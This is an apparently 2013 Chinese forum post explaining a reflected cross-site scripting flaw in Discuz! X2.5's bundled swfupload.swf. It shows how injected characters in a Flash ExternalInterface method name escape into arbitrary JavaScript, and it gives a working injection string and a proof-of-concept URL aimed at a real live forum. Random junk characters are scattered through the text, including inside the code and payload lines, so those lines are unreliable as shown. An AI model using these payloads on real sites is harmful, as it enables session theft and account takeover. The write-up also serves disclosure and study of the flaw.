找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1986|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说* O. _8 c( w+ h- L1 M
+ g" U  l  `9 l9 C: K  J
flash.external.ExternalInterface.call($methodName, $parameter)
+ f  L" D5 V/ h* H在浏览器中执行的是  e. a& B+ p9 I; M( ]' ~

+ O  p8 o1 `% O% dtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}* V" v( R& y& j4 Z8 w$ U
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如5 K+ `) H! \, x0 x/ [, p+ y2 S

, {) l1 P8 h% m$ |( {. B% Uflash.external.ExternalInterface.call("object."+$methodName, $parameter): G, t$ }$ F5 b% R6 ~7 K8 ^
$methodName = a())}catch(e){alert(/xss/)}//+ r$ c/ f" i! ?; i$ P+ e$ y& l
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
- t, ?' p/ O' b# }$ p: A0 Y' H. ^. Q2 [
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }7 |( n2 A# a9 _! H( @! c( `: S
! u* [; }9 X# c# P" M: \
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )) E% w- E, i. F. g, ^2 G* P! _
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。# P) s' F( x( p& [% v
1 e8 u( Z: H; F: u

" T( G9 a2 W3 ^( w/ R1 Q" I4 i
, {, M) h; b, v3 v$ C/ y漏洞文件:upload\static\image\common\swfupload.swf
" p; r8 z0 e( S3 {8 M; u/ m' K% e
4 ~/ B3 E6 ^3 Y" M+ ~8 R! u* S原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
" |/ t5 B# B; `7 x2 T1 t1 n( |% E% c8 I  p: [7 d! c: Q7 `

) l4 R1 s. Y% I  s. N2 ~7 c漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//; Q6 H  f, ]# M1 W( P" u) n, d

- G# m- R8 H" P2 I  U4 _% o7 D
+ A1 U% v1 ^" V- {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表